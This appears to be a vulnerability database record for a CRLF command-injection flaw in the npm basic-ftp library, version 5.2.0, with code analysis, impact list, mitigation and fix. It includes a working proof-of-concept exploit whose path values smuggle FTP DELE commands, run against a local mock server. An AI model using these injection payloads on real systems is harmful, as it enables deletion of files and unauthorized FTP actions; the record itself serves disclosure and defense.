{"id":"CVE-2026-39983","aliases":["GHSA-chqc-8p9q-pq6q"],"url":"https://o3.security/vulnerability/CVE-2026-39983","summary":"FTP Command Injection via CRLF in basic-ftp","details":"## Summary\n\n`basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\\r\\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library's `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\\r\\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.\n\n## Affected product\n\n| Product | Affected versions | Fixed version |\n| --- | --- | --- |\n| basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 |\n\n## Vulnerability details\n\n- CWE: `CWE-93` - Improper Neutralization of CRLF Sequences ('CRLF Injection')\n- CVSS 3.1: `8.6` (`High`)\n- Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L`\n- Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()`\n\nThe vulnerability exists because of two interacting code patterns:\n\n**1. Inadequate path sanitization in `protectWhitespace()` (line 677):**\n\n```javascript\nasync protectWhitespace(path) {\n    if (!path.startsWith(\" \")) {\n        return path;  // No sanitization of \\r\\n characters\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\nThis function only handles leading whitespace. It does not strip or reject `\\r` (0x0D) or `\\n` (0x0A) characters anywhere in the path string.\n\n**2. Direct socket write in `send()` (FtpContext.js line 177):**\n\n```javascript\nsend(command) {\n    this._socket.write(command + \"\\r\\n\", this.encoding);\n}\n```\n\nThe `send()` method appends `\\r\\n` to the command and writes directly to the TCP socket. If the command string already contains `\\r\\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.\n\n**Affected methods** (all call `protectWhitespace()` → `send()`):\n- `cd(path)` → `CWD ${path}`\n- `remove(path)` → `DELE ${path}`\n- `list(path)` → `LIST ${path}`\n- `downloadTo(localPath, remotePath)` → `RETR ${remotePath}`\n- `uploadFrom(localPath, remotePath)` → `STOR ${remotePath}`\n- `rename(srcPath, destPath)` → `RNFR ${srcPath}` / `RNTO ${destPath}`\n- `removeDir(path)` → `RMD ${path}`\n\n## Technical impact\n\nAn attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:\n\n1. **Arbitrary file deletion**: Inject `DELE /critical-file` to delete files on the FTP server\n2. **Directory manipulation**: Inject `MKD` or `RMD` commands to create/remove directories\n3. **File exfiltration**: Inject `RETR` commands to trigger downloads of unintended files\n4. **Server command execution**: On FTP servers supporting `SITE EXEC`, inject system commands\n5. **Session hijacking**: Inject `USER`/`PASS` commands to re-authenticate as a different user\n6. **Service disruption**: Inject `QUIT` to terminate the FTP session unexpectedly\n\nThe attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server.\n\n## Proof of concept\n\n**Prerequisites:**\n\n```bash\nmkdir basic-ftp-poc && cd basic-ftp-poc\nnpm init -y\nnpm install basic-ftp@5.2.0\n```\n\n**Mock FTP server (ftp-server-mock.js):**\n\n```javascript\nconst net = require('net');\nconst server = net.createServer(conn => {\n  console.log('[+] Client connected');\n  conn.write('220 Mock FTP\\r\\n');\n  let buffer = '';\n  conn.on('data', data => {\n    buffer += data.toString();\n    const lines = buffer.split('\\r\\n');\n    buffer = lines.pop();\n    for (const line of lines) {\n      if (!line) continue;\n      console.log('[CMD] ' + JSON.stringify(line));\n      if (line.startsWith('USER')) conn.write('331 OK\\r\\n');\n      else if (line.startsWith('PASS')) conn.write('230 Logged in\\r\\n');\n      else if (line.startsWith('FEAT')) conn.write('211 End\\r\\n');\n      else if (line.startsWith('TYPE')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('PWD'))  conn.write('257 \"/\"\\r\\n');\n      else if (line.startsWith('OPTS')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('STRU')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('CWD'))  conn.write('250 OK\\r\\n');\n      else if (line.startsWith('DELE')) conn.write('250 Deleted\\r\\n');\n      else if (line.startsWith('QUIT')) { conn.write('221 Bye\\r\\n'); conn.end(); }\n      else conn.write('200 OK\\r\\n');\n    }\n  });\n});\nserver.listen(2121, () => console.log('[*] Mock FTP on port 2121'));\n```\n\n**Exploit (poc.js):**\n\n```javascript\nconst ftp = require('basic-ftp');\n\nasync function exploit() {\n  const client = new ftp.Client();\n  client.ftp.verbose = true;\n  try {\n    await client.access({\n      host: '127.0.0.1',\n      port: 2121,\n      user: 'anonymous',\n      password: 'anonymous'\n    });\n\n    // Attack 1: Inject DELE command via cd()\n    // Intended: CWD harmless.txt\n    // Actual:   CWD harmless.txt\\r\\nDELE /important-file.txt\n    const maliciousPath = \"harmless.txt\\r\\nDELE /important-file.txt\";\n    console.log('\\n=== Attack 1: DELE injection via cd() ===');\n    try { await client.cd(maliciousPath); } catch(e) {}\n\n    // Attack 2: Double DELE via remove()\n    const maliciousPath2 = \"decoy.txt\\r\\nDELE /secret-data.txt\";\n    console.log('\\n=== Attack 2: DELE injection via remove() ===');\n    try { await client.remove(maliciousPath2); } catch(e) {}\n\n  } finally {\n    client.close();\n  }\n}\nexploit();\n```\n\n**Running the PoC:**\n\n```bash\n# Terminal 1: Start mock FTP server\nnode ftp-server-mock.js\n\n# Terminal 2: Run exploit\nnode poc.js\n```\n\n**Expected output on mock server:**\n\n```\n\"OPTS UTF8 ON\"\n\"USER anonymous\"\n\"PASS anonymous\"\n\"FEAT\"\n\"TYPE I\"\n\"STRU F\"\n\"OPTS UTF8 ON\"\n\"CWD harmless.txt\"\n\"DELE /important-file.txt\"   <-- injected from cd()\n\"DELE decoy.txt\"\n\"DELE /secret-data.txt\"      <-- injected from remove()\n\"QUIT\"\n```\n\nThis command trace was reproduced against the published `basic-ftp@5.2.0`\npackage on Linux with a local mock FTP server. The injected `DELE` commands are\nreceived as distinct FTP commands, confirming that CRLF inside path parameters\nis not neutralized before socket write.\n\n## Mitigation\n\n**Immediate workaround**: Sanitize all path inputs before passing them to basic-ftp:\n\n```javascript\nfunction sanitizeFtpPath(path) {\n  if (/[\\r\\n]/.test(path)) {\n    throw new Error('Invalid FTP path: contains control characters');\n  }\n  return path;\n}\n\n// Usage\nawait client.cd(sanitizeFtpPath(userInput));\n```\n\n**Recommended fix for basic-ftp**: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\\r` and `\\n` characters from all path inputs:\n\n```javascript\nasync protectWhitespace(path) {\n    // Reject CRLF injection attempts\n    if (/[\\r\\n\\0]/.test(path)) {\n        throw new Error('Invalid path: contains control characters');\n    }\n    if (!path.startsWith(\" \")) {\n        return path;\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\n## References\n\n- [npm package: basic-ftp](https://www.npmjs.com/package/basic-ftp)\n- [GitHub repository](https://github.com/patrickjuchli/basic-ftp)\n- [Vulnerable source: Client.js protectWhitespace()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/Client.ts)\n- [Vulnerable source: FtpContext.js send()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/FtpContext.ts)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)","published":"2026-04-09T17:05:46.228Z","modified":"2026-08-12T03:51:25.925893398Z","cvss":{"score":8.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"basic-ftp","fixedVersion":"5.2.1"}],"fix":{"url":"https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b","label":"patrickjuchli/basic-ftp@2ecc8e2"},"references":[{"type":"WEB","url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39983.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:13826"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:9742"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-39983"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39983.json"},{"type":"ADVISORY","url":"https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39983"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456971"},{"type":"FIX","url":"https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b"},{"type":"PACKAGE","url":"https://github.com/patrickjuchli/basic-ftp"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:25.925893398Z"}}